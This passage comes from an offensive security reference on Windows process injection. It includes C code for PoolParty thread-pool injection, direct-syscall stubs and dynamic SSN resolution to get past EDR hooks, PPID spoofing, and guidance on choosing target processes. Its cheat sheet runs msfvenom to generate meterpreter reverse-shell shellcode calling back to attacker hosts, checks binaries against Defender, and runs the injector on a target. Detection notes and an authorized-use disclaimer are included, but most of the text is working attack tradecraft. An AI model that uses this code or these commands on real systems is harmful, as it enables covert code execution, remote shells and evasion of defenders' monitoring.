| Variant | Method | Execution Trigger |
|---|---|---|
| 1 | Overwrite WorkerFactory start routine | Write shellcode addr to KPRCB.WorkerRoutine |
| 2 | Insert TP_WORK item | NtSetInformationWorkerFactory + TP_WORK |
| 3 | Insert TP_WAIT item | Associate shellcode with waitable handle |
| 4 | Insert TP_IO item | Associate with I/O completion port |
| 5 | Insert TP_ALPC item | ALPC message triggers execution |
| 6 | Insert TP_JOB item | Job object notification triggers |
| 7 | TP_DIRECT execution | Direct callback registration |
| 8 | Timer callback | TP_TIMER item fires after delay |
9.3 Variant 1 — Overwrite WorkerFactory Start Routine
// pool_party_v1.c — Overwrite TP worker factory start routine
// Reference: github.com/SafeBreach-Labs/PoolParty
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
// Undocumented structure offsets (Windows 10/11 x64)
// These may change with OS updates — verify with WinDbg
#define WORKER_FACTORY_BASIC_INFORMATION 7
#define TP_WORKER_FACTORY_RELEASE_WORKER 17
typedef struct _WORKER_FACTORY_BASIC_INFORMATION {
LARGE_INTEGER Timeout;
LARGE_INTEGER RetiredWorkerTimeout;
LARGE_INTEGER IdleWorkerTimeout;
ULONG TotalWorkerCount;
ULONG ReleaseCount;
LONGLONG InfiniteWaitGoal;
PVOID StartRoutine; // ← we overwrite this
PVOID StartParameter;
HANDLE ProcessId;
ULONG StackReserve;
ULONG StackCommit;
NTSTATUS LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION;
typedef NTSTATUS (NTAPI *pNtQueryInformationWorkerFactory)(
HANDLE WorkerFactoryHandle,
ULONG WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation,
ULONG WorkerFactoryInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS (NTAPI *pNtSetInformationWorkerFactory)(
HANDLE WorkerFactoryHandle,
ULONG WorkerFactoryInformationClass,
PVOID WorkerFactoryInformation,
ULONG WorkerFactoryInformationLength
);
int PoolPartyV1(DWORD pid, unsigned char *shellcode, SIZE_T shellcodeLen) {
HMODULE hNtdll = GetModuleHandleA("ntdll");
pNtQueryInformationWorkerFactory fNtQueryWF =
(pNtQueryInformationWorkerFactory)GetProcAddress(hNtdll, "NtQueryInformationWorkerFactory");
pNtSetInformationWorkerFactory fNtSetWF =
(pNtSetInformationWorkerFactory)GetProcAddress(hNtdll, "NtSetInformationWorkerFactory");
// Get handle to target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Get the thread pool's worker factory handle from target process
// (Requires handle duplication from target — see PoolParty full impl.)
// For brevity: assume hWorkerFactory is obtained
WORKER_FACTORY_BASIC_INFORMATION wfbi = { 0 };
fNtQueryWF(
/* hWorkerFactory */ NULL, // populate from target
WORKER_FACTORY_BASIC_INFORMATION,
&wfbi, sizeof(wfbi), NULL
);
// Write shellcode into target process
LPVOID shellAddr = VirtualAllocEx(
hProcess, NULL, shellcodeLen,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(hProcess, shellAddr, shellcode, shellcodeLen, NULL);
// Overwrite StartRoutine with shellcode address
wfbi.StartRoutine = shellAddr;
fNtSetWF(
/* hWorkerFactory */ NULL,
WORKER_FACTORY_BASIC_INFORMATION,
&wfbi, sizeof(wfbi)
);
// Release a worker → existing worker thread picks up new StartRoutine
// → executes our shellcode without creating any new thread
printf("[+] WorkerFactory StartRoutine overwritten — shellcode will run on next worker dispatch\n");
CloseHandle(hProcess);
return 0;
}
[TOOL] Full PoolParty implementation: https://github.com/SafeBreach-Labs/PoolParty
[OPSEC] PoolParty requires handle duplication from the target process's thread pool handle — needs PROCESS_DUP_HANDLE access right or other means to obtain the worker factory handle.
10. Process Target Selection
What it means: Choosing the right injection target is as important as the technique. Injecting into the wrong process causes crashes, EDR alerts, or orphaned shells.
10.1 Good Injection Targets
Tier 1 — Ideal targets (stable, long-lived, trusted):
svchost.exe — always running, many instances, network access OK
explorer.exe — long-lived, GUI process, often alertable threads
RuntimeBroker.exe — Windows component, trusted
dllhost.exe — COM surrogate process, trusted
SearchIndexer.exe — long-lived, trusted
Tier 2 — Acceptable targets:
notepad.exe — predictable but short-lived (user may close it)
mspaint.exe — same issue
Any Office process — long-lived during engagement but may not be running
Avoid:
lsass.exe — highly protected, crash = BSOD
winlogon.exe — crash = login broken
csrss.exe — crash = BSOD
smss.exe — crash = BSOD
System — PID 4, kernel process, cannot inject
10.2 Find Process by Name (C)
// find_pid_by_name.c — Returns PID of first matching process
#include <windows.h>
#include <tlhelp32.h>
DWORD GetPidByName(const char *procName) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
DWORD pid = 0;
if (Process32First(snap, &pe)) {
do {
if (_stricmp(pe.szExeFile, procName) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return pid;
}
// Usage:
// DWORD pid = GetPidByName("svchost.exe");
// Inject into pid...
10.3 Process Architecture Check (x64 vs x86)
// Always verify target architecture before injecting!
BOOL IsProcess64Bit(HANDLE hProcess) {
BOOL isWow64 = FALSE;
IsWow64Process(hProcess, &isWow64);
// If WOW64 is FALSE on x64 OS → the process is 64-bit
// If WOW64 is TRUE → the process is 32-bit
return !isWow64;
}
// Never inject 64-bit shellcode into 32-bit process (and vice versa)
11. Handle Acquisition — OpenProcess Patterns
What it means: Every remote injection starts with obtaining a process handle. The access rights you request determine both capability and detection surface.
11.1 Minimum Required Access Per Technique
// Minimum OpenProcess rights per injection technique
// ── Classic CreateRemoteThread injection ──────────────────────────
HANDLE h = OpenProcess(
PROCESS_CREATE_THREAD | // for CreateRemoteThread
PROCESS_VM_OPERATION | // for VirtualAllocEx / VirtualFreeEx
PROCESS_VM_READ | // for ReadProcessMemory
PROCESS_VM_WRITE, // for WriteProcessMemory
FALSE, pid
);
// ── Section mapping injection ─────────────────────────────────────
HANDLE h = OpenProcess(
PROCESS_VM_OPERATION | // for NtMapViewOfSection
PROCESS_CREATE_THREAD | // for RtlCreateUserThread
PROCESS_QUERY_INFORMATION, // for various queries
FALSE, pid
);
// ── Thread hijacking ──────────────────────────────────────────────
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME |
THREAD_GET_CONTEXT |
THREAD_SET_CONTEXT,
FALSE, tid
);
// ── PROCESS_ALL_ACCESS (0x1FFFFF) — maximum, very noisy ──────────
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// Use only for quick PoC — production code should use minimum rights
[DETECT] EDRs specifically alert on OpenProcess with PROCESS_VM_WRITE targeting protected processes (lsass.exe, csrss.exe). Sysmon Event ID 10 (ProcessAccess) logs all cross-process access attempts.
[EVASION] Use PROCESS_VM_OPERATION instead of PROCESS_ALL_ACCESS. Fewer rights = lower detection score.
12. Direct Syscalls for EDR Bypass
[NATIVE] [EVASION] EDRs install user-mode hooks by patching the first bytes of Windows API functions in ntdll.dll. Direct syscalls bypass these hooks by calling the kernel directly using inline assembly — skipping the hooked ntdll stubs entirely.
12.1 How EDR Hooking Works
Normal API flow (HOOKED by EDR):
Your code → VirtualAllocEx() → ntdll!NtAllocateVirtualMemory (PATCHED)
↓
JMP to EDR.dll hook
EDR scans arguments → logs → alerts
↓
(if allowed) syscall to kernel
Direct syscall flow (UNHOOKED):
Your code → inline syscall instruction (SSN #0x18)
↓
Direct kernel call — EDR hook BYPASSED
12.2 Direct Syscall — NtAllocateVirtualMemory
; syscall_stub.asm — Direct syscall for NtAllocateVirtualMemory
; Assemble: nasm -f win64 syscall_stub.asm -o syscall_stub.obj
section .text
global NtAllocateVirtualMemory_Direct
NtAllocateVirtualMemory_Direct:
mov r10, rcx ; Required by Windows x64 syscall convention
mov eax, 0x18 ; SSN for NtAllocateVirtualMemory (Windows 10 22H2)
; IMPORTANT: SSN varies by Windows version!
syscall
ret
// direct_syscall.c — Using direct syscall stub
// Must link with syscall_stub.obj
extern NTSTATUS NtAllocateVirtualMemory_Direct(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Use exactly like normal NtAllocateVirtualMemory:
PVOID addr = NULL;
SIZE_T size = 0x1000;
NTSTATUS status = NtAllocateVirtualMemory_Direct(
hTargetProcess, &addr, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
12.3 Dynamic SSN Resolution (Avoiding Hardcoded SSNs)
// get_ssn.c — Dynamically resolve syscall numbers from ntdll on disk
// (avoids relying on hardcoded SSNs that differ per Windows build)
#include <windows.h>
#include <stdio.h>
// Read ntdll from disk (unhooked copy), walk exports, find syscall number
DWORD GetSysCallNumber(const char *funcName) {
// Map ntdll from disk (not from memory — memory copy is hooked)
HANDLE hFile = CreateFileA(
"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL
);
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID ntdllBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Walk PE export table to find function
IMAGE_DOS_HEADER *dosHdr = (IMAGE_DOS_HEADER *)ntdllBase;
IMAGE_NT_HEADERS *ntHdr = (IMAGE_NT_HEADERS *)((BYTE *)ntdllBase + dosHdr->e_lfanew);
IMAGE_EXPORT_DIRECTORY *expDir = (IMAGE_EXPORT_DIRECTORY *)
((BYTE *)ntdllBase + ntHdr->OptionalHeader.DataDirectory[0].VirtualAddress);
DWORD *names = (DWORD *)((BYTE *)ntdllBase + expDir->AddressOfNames);
DWORD *funcs = (DWORD *)((BYTE *)ntdllBase + expDir->AddressOfFunctions);
WORD *ordinals = (WORD *)((BYTE *)ntdllBase + expDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < expDir->NumberOfNames; i++) {
const char *name = (const char *)((BYTE *)ntdllBase + names[i]);
if (strcmp(name, funcName) == 0) {
BYTE *funcBytes = (BYTE *)ntdllBase + funcs[ordinals[i]];
// Syscall number is at offset +4 in the stub:
// 4C 8B D1 mov r10, rcx
// B8 XX 00 00 00 mov eax, <SSN>
DWORD ssn = *(DWORD *)(funcBytes + 4);
UnmapViewOfFile(ntdllBase);
CloseHandle(hMapping);
CloseHandle(hFile);
return ssn;
}
}
return 0xFFFFFFFF; // not found
}
// Usage:
// DWORD ssn = GetSysCallNumber("NtAllocateVirtualMemory");
// printf("NtAllocateVirtualMemory SSN: 0x%X\n", ssn);
[TOOL] Tools that automate direct/indirect syscalls:
- SysWhispers3 — https://github.com/klezVirus/SysWhispers3
- RecycledGate — indirect syscalls using recycled system stubs
- HellsGate — dynamic SSN resolution from memory
13. Tools Reference
13.1 Injection Frameworks and PoCs
| Tool | Description | URL |
|---|---|---|
| PoolParty | 8 thread-pool injection variants, bypassed all EDRs at BH EU 2023 | https://github.com/SafeBreach-Labs/PoolParty |
| Process-Injections-Techniques | Collection: Classic, MapView, APC, Thread Hijack (C++) | https://github.com/Nero22k/Process-Injections-Techniques |
| awesome-injection | Centralized index of 30+ injection techniques and PoCs | https://github.com/itaymigdal/awesome-injection |
| ProcessInjectionTechniques | 25 techniques with labs by Usman Sikander | https://offensive-panda.github.io/ProcessInjectionTechniques/ |
| Shellcode-Injection-Techniques | C# implementations: Classic, Thread Hijack, APC, Hollow | https://github.com/plackyhacker/Shellcode-Injection-Techniques |
13.2 Syscall Bypass Tools
| Tool | Description | URL |
|---|---|---|
| SysWhispers3 | Generates syscall stubs with multiple evasion options | https://github.com/klezVirus/SysWhispers3 |
| HellsGate | Dynamic SSN resolution from memory-mapped ntdll | https://github.com/am0nsec/HellsGate |
| RecycledGate | Indirect syscalls — uses existing syscall gadgets in ntdll | https://github.com/thefLink/RecycledGate |
13.3 Payload Generation
# Generate shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.10.10 LPORT=4444 \
-f c -o shellcode.c
# Raw binary (for loader embedding)
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.10.10.10 LPORT=443 \
-f raw -o payload.bin
# Havoc / Sliver / Cobalt Strike generate their own shellcode
# All formats can be embedded as unsigned char arrays in injectors
13.4 Detection and Testing Tools
| Tool | Purpose | URL |
|---|---|---|
| Get-InjectedThread.ps1 | Detects threads with start addresses in non-module memory | https://github.com/jaredcatkinson/Get-InjectedThread |
| Process Hacker | View mapped sections, threads, memory protection in real time | https://processhacker.sourceforge.io |
| WinDbg | Inspect thread pool structures, section mappings, worker factories | (Windows SDK) |
| x64dbg | Trace injector + target process side by side | https://x64dbg.com |
| Sysmon | Event ID 8 (CreateRemoteThread), 10 (ProcessAccess) | Sysinternals |
| ThreatCheck | Find which bytes trigger AV/EDR on a compiled binary | https://github.com/rasta-mouse/ThreatCheck |
14. Detection & Evasion
14.1 Detection Vectors by Technique
Classic CreateRemoteThread:
├─ Sysmon EID 8 — CreateRemoteThread event logged
├─ Sysmon EID 10 — ProcessAccess (OpenProcess with VM_WRITE)
├─ EDR hook — VirtualAllocEx → WriteProcessMemory → CRT sequence
└─ Memory scan — RWX region in non-module memory → shellcode scan
Section Mapping (NtMapViewOfSection):
├─ Sysmon EID 8 — RtlCreateUserThread still logged as CRT
├─ ETW telemetry — NtMapViewOfSection cross-process events
└─ Memory scan — Mapped RX region with shellcode (harder to find)
Thread Hijacking:
├─ SuspendThread + SetThreadContext on foreign thread — behavioral
├─ No new thread created — avoids EID 8
└─ Risk of process crash if trampoline not implemented
APC Queue:
├─ QueueUserAPC targeting foreign thread → alertable wait detection
├─ No EID 8 unless new thread is triggered
└─ Memory scan finds the shellcode in allocated region
EarlyBird:
├─ CREATE_SUSPENDED followed by VirtualAllocEx + QueueUserAPC
├─ ETW Threat-Intelligence: THREATINT_ALLOCVM_REMOTE
└─ Kernel PsSetCreateProcessNotifyRoutine can observe spawn+suspend
Module Stomping:
├─ No RWX allocation (write→RX before exec) — avoids RWX alerts
├─ Thread start in legitimate DLL space → beats GetInjectedThread
└─ DLL entry point code differs from on-disk DLL → memory scan hit
14.2 ETW Telemetry Sources
ETW — Microsoft-Windows-Threat-Intelligence provider:
THREATINT_ALLOCVM_REMOTE — VirtualAllocEx into another process
THREATINT_WRITEVM_REMOTE — WriteProcessMemory into another process
THREATINT_PROTECTVM_REMOTE — VirtualProtectEx into another process
THREATINT_MAPVIEW_REMOTE — NtMapViewOfSection cross-process
These fire at KERNEL level — cannot be bypassed by user-mode patches
Only countermeasures: kernel driver hooking or not using these APIs at all
14.3 Evasion Strategies
1. Avoid RWX memory — use RW → RX flip or section mapping:
// BAD (very detectable):
VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// BETTER — RW write, then flip to RX:
LPVOID addr = VirtualAllocEx(hProc, NULL, size, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProc, addr, shellcode, size, NULL);
DWORD old;
VirtualProtectEx(hProc, addr, size, PAGE_EXECUTE_READ, &old);
// BEST — use section mapping (no VirtualAllocEx + WPM in target at all)
NtCreateSection + NtMapViewOfSection
2. Avoid VirtualAllocEx + WriteProcessMemory — use section mapping:
EDR watchlist: VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
Section mapping avoids ALL THREE of those in the target process
3. Use direct/indirect syscalls to bypass ntdll hooks:
EDR hooks live in ntdll.dll (user mode)
Direct syscall → bypasses ntdll entirely → EDR hook never called
Use SysWhispers3 or HellsGate for dynamic SSN resolution
4. Handle obfuscation — reduce OpenProcess access rights:
// Request minimum rights needed — raises detection threshold
// Avoid PROCESS_ALL_ACCESS (0x1FFFFF) — every EDR flags this on lsass
DWORD minRights = PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION;
HANDLE h = OpenProcess(minRights, FALSE, pid);
5. Indirect syscalls — avoid suspicious syscall stack:
Direct syscall flaw: Stack shows syscall from non-ntdll address (suspicious)
Indirect syscall: Find "syscall; ret" gadget INSIDE ntdll, jump to it
→ Stack shows ntdll as the caller (legitimate-looking)
Tool: RecycledGate, SysWhispers3 with indirect mode
6. PPID Spoofing — fake parent process:
// Make injector appear spawned by explorer.exe or svchost.exe
// Using UpdateProcThreadAttribute with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
STARTUPINFOEX si = { sizeof(STARTUPINFOEX) };
DWORD parentPid = GetPidByName("explorer.exe");
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
CreateProcess(NULL, "your_loader.exe", NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, NULL, NULL,
(LPSTARTUPINFO)&si, &pi);
15. Comparison Matrix
| Technique | EDR Noise | Needs WPM | Needs CRT | RWX Alloc | Crash Risk | Complexity |
|---|---|---|---|---|---|---|
| Classic CRT | Very High | YES | YES | YES | Low | Very Low |
| CRT (RW→RX flip) | High | YES | YES | No (RW+flip) | Low | Low |
| Section Mapping | Medium | NO | No (RtlCUT) | No | Low | Medium |
| Thread Hijacking | Low-Med | YES | NO | YES | HIGH | High |
| APC Queue | Medium | YES | NO (APC) | YES | Low | Low |
| EarlyBird APC | Low | YES | NO (APC) | YES | Low | Medium |
| Module Stomping | Low | YES | YES | No (WP→RX) | Medium | High |
| Pool Party | Very Low | YES | NO | YES | Low | Very High |
| Direct Syscalls | Low | N/A (wrapper) | N/A | N/A | Low | High |
WPM = WriteProcessMemory | CRT = CreateRemoteThread / NtCreateThreadEx
16. Cheat Sheet
Quick Workflow — Identify Target → Choose Technique → Execute
# Step 1: Generate shellcode payload
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 -f c -o shellcode.h
# Step 2: Find a good injection target PID
tasklist /fi "imagename eq svchost.exe"
# or in PowerShell:
Get-Process svchost | Select-Object Id,Name,Path
# Step 3: Check for EDR on the system (determines technique choice)
sc query type= all | findstr /i "sentinel crowdstrike cylinder"
Get-Process | Where-Object { $_.Name -like "*sensor*" -or $_.Name -like "*falcon*" }
# Step 4: Compile chosen injector (cross-compile from Linux)
x86_64-w64-mingw32-gcc classic_inject.c -o inject.exe
x86_64-w64-mingw32-gcc section_mapping_inject.c -o inject.exe -lntdll
# Step 5: Check binary for detection (before deploying)
# ThreatCheck
ThreatCheck.exe -f inject.exe -e Defender
# DefenderCheck
DefenderCheck.exe inject.exe
# Step 6: Execute on target
inject.exe <PID>
Decision Tree — Which Technique to Use?
Injecting shellcode remotely?
│
├─ No EDR present (only Defender)?
│ └─ Classic CRT or APC Queue injection → fast, simple
│
├─ EDR present (CrowdStrike / SentinelOne)?
│ │
│ ├─ Need to avoid new thread creation?
│ │ ├─ APC Queue (existing thread must be alertable)
│ │ └─ Pool Party (thread pool workers — NO new thread at all)
│ │
│ ├─ Need to avoid WriteProcessMemory?
│ │ └─ Section Mapping (memcpy local view → reflects in remote)
│ │
│ ├─ Need shellcode to appear in legitimate module?
│ │ └─ Module Stomping (execute from amsi.dll / winmm.dll space)
│ │
│ ├─ Need to beat ntdll hooks entirely?
│ │ └─ Direct syscalls (SysWhispers3) + Section Mapping
│ │
│ └─ Maximum stealth / APT simulation?
│ └─ EarlyBird + PPID Spoofing + Section Mapping + Direct Syscalls
│ └─ Shellcode encrypted (AES-256) until runtime (see Shellcode Encryption ref)
│
└─ Testing / Lab environment?
└─ Classic CRT — simplest to implement and debug
API Call Quick Reference
Memory Allocation:
VirtualAllocEx(hProc, NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
NtAllocateVirtualMemory(hProc, &addr, 0, &size, MEM_COMMIT, PAGE_READWRITE)
NtMapViewOfSection(section, hProc, &addr, ...) ← no VirtualAllocEx
Write:
WriteProcessMemory(hProc, addr, shellcode, size, NULL)
NtWriteVirtualMemory(hProc, addr, shellcode, size, NULL)
memcpy(localSectionAddr, shellcode, size) ← no WPM to remote!
Execute:
CreateRemoteThread(hProc, NULL, 0, addr, NULL, 0, NULL)
NtCreateThreadEx(...)
RtlCreateUserThread(hProc, NULL, FALSE, 0, 0, 0, addr, NULL, &hThread, NULL)
QueueUserAPC((PAPCFUNC)addr, hThread, 0) ← alertable wait needed
SetThreadContext(hThread, &ctx) → ResumeThread(hThread) ← thread hijack
Protection Change:
VirtualProtectEx(hProc, addr, size, PAGE_EXECUTE_READ, &old)
NtProtectVirtualMemory(hProc, &addr, &size, PAGE_EXECUTE_READ, &old)
Common Shell Commands
# List all processes with their PIDs (PowerShell)
Get-Process | Sort-Object -Property Id | Format-Table Id, Name, Path -Auto
# Check which DLLs a process has loaded (good for stomping target selection)
Get-Process -Id <PID> | Select-Object -ExpandProperty Modules | Select FileName
# Find svchost.exe instances running specific services
Get-WmiObject Win32_Service | Where-Object { $_.PathName -like "*svchost*" }
# Sysmon: Check for CreateRemoteThread events (EID 8)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object { $_.Id -eq 8 } | Select-Object -First 10 |
Format-List TimeCreated, Message
# Check if ntdll is hooked (PowerShell — look for JMP bytes)
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
# Compare in-memory ntdll bytes vs on-disk bytes for hook detection
References & Tools
Process Injection Research: - ired.team — Code Injection — https://www.ired.team/offensive-security/code-injection-process-injection - SafeBreach PoolParty — https://github.com/SafeBreach-Labs/PoolParty - awesome-injection by itaymigdal — https://github.com/itaymigdal/awesome-injection - TrustedSec Mapped Sections — https://trustedsec.com/blog/malware-series-process-injection-mapped-sections - ProcessInjectionTechniques (Offensive Panda) — https://offensive-panda.github.io/ProcessInjectionTechniques/
Syscall Bypass: - SysWhispers3 — https://github.com/klezVirus/SysWhispers3 - HellsGate — https://github.com/am0nsec/HellsGate - RecycledGate — https://github.com/thefLink/RecycledGate
MITRE ATT&CK: - T1055 Process Injection — https://attack.mitre.org/techniques/T1055/ - T1055.003 Thread Execution Hijacking — https://attack.mitre.org/techniques/T1055/003/ - T1055.004 APC Injection — https://attack.mitre.org/techniques/T1055/004/
Detection: - Get-InjectedThread — https://github.com/jaredcatkinson/Get-InjectedThread - Sysmon — https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon - ThreatCheck — https://github.com/rasta-mouse/ThreatCheck
Note: This document is for authorized red team and security research use only. All techniques described map to MITRE ATT&CK T1055 (Process Injection).